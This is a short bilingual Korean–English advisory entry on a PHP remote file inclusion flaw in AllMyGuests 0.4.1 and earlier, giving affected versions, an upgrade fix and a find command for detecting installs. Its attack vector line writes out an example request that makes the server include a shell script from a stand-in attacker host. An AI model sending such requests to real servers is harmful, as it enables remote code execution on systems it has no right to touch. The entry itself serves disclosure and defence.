🇰🇷 한글 설명
AllMyGuests 0.4.1 이하 버전의 signin.php 파일에서 _AMGconfig[cfg_serverpath] 파라미터를 통한 PHP 원격 파일 포함(RFI) 취약점입니다. 공격자는 악의적인 외부 PHP 파일을 포함시켜 임의의 PHP 코드를 서버에서 실행할 수 있습니다.
💡 쉬운 설명
AllMyGuests 프로그램이 사용자 입력을 검증하지 않고 외부 파일을 불러올 때, 공격자가 악성 파일 경로를 보내 자신의 코드를 실행할 수 있습니다. 이를 통해 서버 전체를 제어당할 수 있습니다.
🇺🇸 원문 (English)
Multiple PHP remote file inclusion vulnerabilities in AllMyGuests 0.4.1 and earlier allow remote attackers to execute arbitrary PHP code via a URL in the _AMGconfig[cfg_serverpath] parameter in (1) modules/AllMyGuests/signin.php (aka the Nuke module) and (2) AllMyGuests/signin.php (aka the standalone).
📍 영향받는 시스템
AllMyGuests 버전 0.4.1 이전 (Nuke 모듈 버전과 독립 실행형 모두)
⚔️ 공격 벡터
_AMGconfig[cfg_serverpath] 파라미터에 원격 PHP 파일 URL 전달 (예: ?_AMGconfig[cfg_serverpath]=http://attacker.com/shell.php)
🛡️ 대응 방법
AllMyGuests를 0.4.2 이상으로 업그레이드하거나, _AMGconfig 파라미터에 대한 경로 검증 및 필터링 적용
🔧 검증 코드
결과가 없으면 AllMyGuests가 설치되지 않음; 있으면 해당 버전을 grep으로 확인 필요 (파일 내 버전 주석 또는 ../readme.txt 확인)
find / -name 'signin.php' -path '*/AllMyGuests/*' 2>/dev/null | head -5